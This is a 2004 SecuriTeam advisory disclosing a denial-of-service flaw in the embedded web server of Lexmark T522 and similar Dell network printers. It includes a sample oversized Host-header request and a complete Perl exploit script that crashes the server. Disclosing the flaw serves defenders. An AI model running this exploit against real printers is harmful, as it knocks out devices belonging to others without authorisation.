[NEWS] Lexmark Network Printers Built-in Web Server DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 07/27/04

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Date: 27 Jul 2004 20:03:01 +0200

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      Lexmark Network Printers Built-in Web Server DoS
    ------------------------------------------------------------------------

    SUMMARY

    Several Lexmark network printers are shipped with a build-in HTTP server
    for administrative tasks. The web server software is vulnerable to a
    Denial of Service attack that will force the web server to restart and/or
    stop taking requests.

    DETAILS

    Vulnerable Systems:
     * Lexmark T522 and all which use the specific web server
     * Dell network printers that use the same web server

    The Server does not handle long HOST arguments in the HTTP Header
    correctly and therefore causes the server to crash. An example of sending
    such a request:
    GET / HTTP/1.0\r\n /Host:AAAAAA[x1024]

    Exploit:
    #!/usr/bin/perl
    #
    # Denial of Service agains Lexmark T522 Network Printer Webserver
    # by snakebyte / eric ( http://www.snake-basket.de )
    use Socket;

    $target = "192.168.0.54";
    $port = "80";
    $lamecode = "A" x 1023;

    $iaddr = inet_aton($target);
    $paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n";
    $proto = getprotobyname("tcp") || die "getprotobyname: $!\n";
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die "socket: $!\n";
    connect(SOCKET, $paddr) || die "connection attempt failed: $!\n";
    send(SOCKET, "GET / HTTP/1.0\r\n", 0);
    send(SOCKET, "Host: ".$lamecode."\r\n\r\n", 0);
    close SOCKET;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:pkr@csis.dk> Peter Kruse.

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